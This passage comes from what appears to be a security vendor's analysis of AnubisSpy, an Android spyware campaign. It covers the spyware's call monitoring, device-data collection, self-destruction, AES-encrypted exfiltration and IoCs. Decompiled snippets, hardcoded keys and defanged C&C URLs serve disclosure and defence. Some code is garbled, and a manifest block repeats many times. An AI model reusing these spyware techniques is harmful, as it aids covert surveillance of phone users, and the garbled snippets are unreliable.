        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>
The VoIP Module monitors calls done on Voice over Internet Protocol (VoIP) by registering `android.service.notification.NotificationListenerService`. When receiving a Notification Action, it checks if the notification is specified in a list of packages in the configurations file. If it finds a match, it is further processed (i.e., invoking the Audio Record Module).

```java
List v2_1 = v2.d("opp");
if(v2_1.isEmpty()) {
} else {
    boolean v4 = v0.d("audio_hot");
    int v5 = v0.a("media_chunk_size", 60);
    String v8 = arg14.getPackageName();
    Iterator v2_2 = v2_1.iterator();
    do {
        if(v2_2.hasNext()) {
            String v0_1 = v2_2.next().getString("value");
            if(v0_1.isEmpty()) {
                continue;
            }
            String[] v8_2 = v0_1.split("_");
            String v9 = v8_2[0];
            v9 = v8_2[1];
            int v11 = Integer.parseInt(v0_2[2]) == 0 ? true : false;
            v10 = v8.split(/\d+/)[0];
            if(v9.compareToIgnoreCase(v9) == 0) {
                continue;
            }
        }
    } while (v2_2.hasNext());
    break;
}
return;
}
```

**Figure 30: How the captured audio is processed (top) and code snippets showing how the VoIP Module works (center, bottom)**
Device Info Module

The Device Info Module collects the following information on the device’s operating system (OS), build, and phone information, and the device’s root status and apps:

<table>
<thead>
<tr>
<th>OS INFO</th>
<th>root status</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>arch</td>
</tr>
<tr>
<td></td>
<td>osname</td>
</tr>
<tr>
<td></td>
<td>osversion</td>
</tr>
<tr>
<td>BUILD INFO</td>
<td>board</td>
</tr>
<tr>
<td></td>
<td>bootloader</td>
</tr>
<tr>
<td></td>
<td>branch</td>
</tr>
<tr>
<td></td>
<td>cpu abi</td>
</tr>
<tr>
<td></td>
<td>device</td>
</tr>
<tr>
<td></td>
<td>display</td>
</tr>
<tr>
<td></td>
<td>fingerprint</td>
</tr>
<tr>
<td></td>
<td>hardware</td>
</tr>
<tr>
<td></td>
<td>host</td>
</tr>
<tr>
<td></td>
<td>id</td>
</tr>
<tr>
<td></td>
<td>manufacturer</td>
</tr>
<tr>
<td></td>
<td>model</td>
</tr>
<tr>
<td></td>
<td>product</td>
</tr>
<tr>
<td></td>
<td>radio</td>
</tr>
<tr>
<td></td>
<td>serial</td>
</tr>
<tr>
<td></td>
<td>tags</td>
</tr>
<tr>
<td></td>
<td>time</td>
</tr>
<tr>
<td></td>
<td>Type</td>
</tr>
<tr>
<td></td>
<td>user</td>
</tr>
<tr>
<td>PHONE INFO</td>
<td>device_memory</td>
</tr>
<tr>
<td></td>
<td>media_storage_totalspace</td>
</tr>
<tr>
<td></td>
<td>media_storage_freespace</td>
</tr>
<tr>
<td></td>
<td>local_time</td>
</tr>
<tr>
<td></td>
<td>current_position</td>
</tr>
<tr>
<td></td>
<td>imei</td>
</tr>
<tr>
<td></td>
<td>imsi</td>
</tr>
<tr>
<td></td>
<td>sw_version</td>
</tr>
<tr>
<td></td>
<td>line_number</td>
</tr>
<tr>
<td></td>
<td>voicemail_number</td>
</tr>
<tr>
<td></td>
<td>network_country_iso</td>
</tr>
<tr>
<td></td>
<td>network_operator</td>
</tr>
<tr>
<td></td>
<td>device_type</td>
</tr>
<tr>
<td></td>
<td>network_type</td>
</tr>
<tr>
<td></td>
<td>sim_country_iso</td>
</tr>
<tr>
<td></td>
<td>sim_operator</td>
</tr>
<tr>
<td></td>
<td>sim_serial_number</td>
</tr>
<tr>
<td></td>
<td>sim_state</td>
</tr>
<tr>
<td></td>
<td>installed_app_list</td>
</tr>
</tbody>
</table>

Table 4: Information that Device Info Module collects
Destruction Module

This module is for when \textit{expire\_time} is reached, or if executing a self-destruct command. First, it tries to remove its device-admin permission, stops the spying-related modules' schedule, and unregisters \texttt{ContentObservers}. It then removes itself from the device.

```java
public final void b() { // autodestruction
    String v0 = this.o.getPackageName();
    ad.a(this.o); // remove device admin
    h.a(this.o.g()); // stop spy modules' schedule
    h.o(this.o.h()); // unregister ContentObserver
    this.a(v0); // remove oneself
}
```

Figure 31: How the Destruction Module works (top) and how it removes itself from the device (bottom)

Dec Module

The Dec Module is for decrypting encrypted assets and data from the C&C server using the Advanced Encryption Standard (AES) algorithm. The following keys, which are hardcoded, are used for decryption:

- \textit{SecretKey} — 001234ABDE9217910000DEC4FEBD120003243BC00221296470103FE000AAB201
- \textit{IvParameter} — 001234abde9217910000dec4fedb1200

When decrypting data from the C&C server, it reads \textit{SecretKey}, which is "cipher\_key" in the configuration file. To get \textit{IvParameter}, it reads the first 32 bytes of data and decrypts them using the table keys. Both \textit{SecretKey} and \textit{IvParameter} are used to decrypt the rest of the data.
All data are processed by the Enc Module before they are uploaded to the C&C server. Like Dec Module, it uses AES. `SecretKey` is read from the configuration file (`cipher_key`), but the `IvParameter` here is generated randomly. Data are encrypted into two parts (`bodyPart`, `headPart`) via different parameters. `bodyPart` is encrypted through `cipher_key` and a randomly generated `IvParameter`, which is `headPart`'s data. `IvParameter` is encrypted via the default `SecretKey` and `IvParameter`. It is combined as one file and sent to the Uploader Module.

```
Figure 32: Dec Module using AES to decrypt assets

Figure 33: How the Enc Module works
```
Format Module

The outputs of AnubisSpy’s modules vary, which makes the Format Module very complex and diverse. But amid the complexity, there are common denominators. All data are processed into JSON files by the Format Module. AnubisSpy’s modules have two data types:

- **String** — Device information, SMS messages, etc.
- **Binary** — Images, audio files, etc.

For String data, the Format Module will process it to a JSON file based on the module. It will retrieve rules and items from the configuration file’s `dbruleFile` to construct the JSON file.

```java
boolean v1 = arg28.optBoolean("is_timestamp");
boolean v3 = arg28.optBoolean("is_path_to_binary");
boolean v4 = arg28.optBoolean("is젬meter_type");
boolean v5 = arg28.optBoolean("is_sns_number");
String v6 = arg28.optString("source_name");
String v7 = arg28.optString("source_desc");
String v8 = arg28.optString("broad_cast");
int v9 = arg28.optInt("dbruleFile_value");
let v10 = arg28.optString("class_name");
let v11 = arg28.optString("class_type");
boolean v12 = arg28.optBoolean("has_standard_thumbnail");

if(v12.isempty()) {
    v2 = n.a(arg18, arg19);
} else {
    byte[] v14 = b.b(arg18, arg19);
    if(v14 != null) {
        if(v22.compareIgnoreCase("deflate") == 0) {
            v2 = n.a(v14);
            goto label_62;
        } else if(v22.compareIgnoreCase("strip_non_printable") == 0) {
            v2 = n.a(v14, false);
            goto label_64;
        } else if(v22.compareIgnoreCase("blank_non_printable") == 0) {
            v2 = n.a(v14, true);
            goto label_64;
        }
    }
}

string v5_1 = n.a(arg14, arg11, v3); // get column value
if(v5) {
    try {
        v5.put(v2, v5_1);
    } catch(JSONException v2_1) {
        goto label_27;
    }
}

if(v4_1.isempty()) {
    try {
        if(v14.isEmpty()) {
            goto label_74;
        }
    } catch(JSONException v2_1) {
        goto label_27;
    }
}

```

Figure 34: Code snippets showing the rules being retrieved (top), as well as column value and field title replacements for the DBDump Module
For Binary data, the same process is carried out, but more file attribution such as file path, size, timestamp, etc., are added. The binary data is base64-encoded with the key `binary_data`.

For Binary data, the same process is carried out, but more file attribution such as file path, size, timestamp, etc., are added. The binary data is base64-encoded with the key `binary_data`.

```java
v4.put("binary_data", Base64.encodeToString(buf2, 0));
v1.put(arg7, v4);

JSONObject v1;
JSONObject v0 = new JSONObject();
v0.put("track_delta", 0);
v0.put("track_name", "media");
if(!arg5.isEmpty()) {
    v1 = new JSONObject();
v1.put("codec", arg5);
v1.put("sample_rate", arg5);
v1.put("bit_per_sample", arg5);
v1.put("channels", 1);
v0.put("track_audio_param", v1);
}

JSONObject v0 = new JSONObject();
if(arg3 != 0) {
    v0.put("width", arg3);
}
if(arg4 != 0) {
    v0.put("height", arg4);
}
if(arg5 != null) {
    v0.put("date_token", arg5);
}
arg3.put("media_info", v0);
```

Figure 35: Binary data base64-encoded (top); sample information written in the resulting JSON file for captured audio (center) and image (bottom)

Uploader Module

AnubisSpy’s modules send their outputs into one specific folder after they are encrypted. The Uploader Module is responsible for checking, uploading, and deleting them. There are two configurations that tell the Uploader Module when to work: when there’s a Wi-Fi connection, and when the device’s battery is being charged. File traverse in the cache folder, sent, then removed. It sleeps from 3-5 seconds when it processes a file.
Persistent and furtive spyware is an underrated problem for the mobile platform. While cyberespionage campaigns on mobile devices may be few and far between compared to ones for desktops or PCs, AnubisSpy proves that they do indeed occur, and may have been more active than initially thought. Will mobile become cyberespionage’s main frontier? It won’t be a surprise given the mobile platform’s increasing ubiquity, especially in workplaces.

Beyond its impact, AnubisSpy also highlights the significance of proactively securing mobile devices, particularly if they’re on BYOD programs and used to access sensitive data. Enforcing the principle of least privilege and implementing an app reputation system are just some of the best practices that can help mitigate threats.

We disclosed our findings to Google and worked with them to take down the apps on Google Play. Updates were also made to Google Play Protect to take appropriate action against those apps that have been verified as in violation of Google Play policy.

What does AnubisSpy mean to the mobile landscape?

Figure 36: Uploader Module works only as specified in the configuration file
Indicators of Compromise (IoCs)

Hashes detected as ANDROIDOS_ANUBISSPY (SHA256):

<table>
<thead>
<tr>
<th>Hash</th>
<th>App Label</th>
</tr>
</thead>
<tbody>
<tr>
<td>627f9d0e2711d59cc2571a11d16c950adadba55d95fd4c55638af8a97d32b23</td>
<td>صبايا الخير</td>
</tr>
<tr>
<td>e00655d06a07f6eb8e1a4b1bd82eef310cde10ca11af4688e32c11d7b193d95</td>
<td>SwiftClinic</td>
</tr>
<tr>
<td>06cb3f69ba0d3a2a7fa21cde1d8b36b36c2a32187013598d3d51cfddc829f49</td>
<td>ALTOR</td>
</tr>
<tr>
<td>0cab88bb37fee06cf354d257ec5f27b0714e914b8199c03ae87987f6fa807efc</td>
<td>متضامنون مع السيسي</td>
</tr>
<tr>
<td>7eeadfe1aa5f6bb827f9cb921c63571e263e5c6b20b2e27ccc64a04eba51ca7a</td>
<td>C.Sinai</td>
</tr>
<tr>
<td>0714b516ac824a324726550b45684ca1f4396aa7f372db6cc51b06c97ea24dfd</td>
<td>C.Sinai</td>
</tr>
<tr>
<td>ad5babecf3a21dd51ee455031ab96f326a9dd43a456ce6e8b351d7c4347330f</td>
<td>Tsina</td>
</tr>
</tbody>
</table>

C&C servers linked to AnubisSpy:

<table>
<thead>
<tr>
<th>C&amp;C Server</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxxp://86[.]105[.]18[.]107/2dodo/loriots[.]php</td>
</tr>
<tr>
<td>hxxp:// 86[.]105[.]18[.]107/11fash7/synectics[.]php</td>
</tr>
<tr>
<td>hxxp:// 86[.]105[.]18[.]107/3hood/spelled[.]php</td>
</tr>
<tr>
<td>hxxp:// 86[.]105[.]18[.]107/1swiftclinic/entires[.]php</td>
</tr>
<tr>
<td>hxxp:// 86[.]105[.]18[.]107/7ram/olefiant[.]php</td>
</tr>
<tr>
<td>hxxp:// 86[.]105[.]18[.]107/sinai/freakiest[.]php</td>
</tr>
</tbody>
</table>
Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.

©2017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.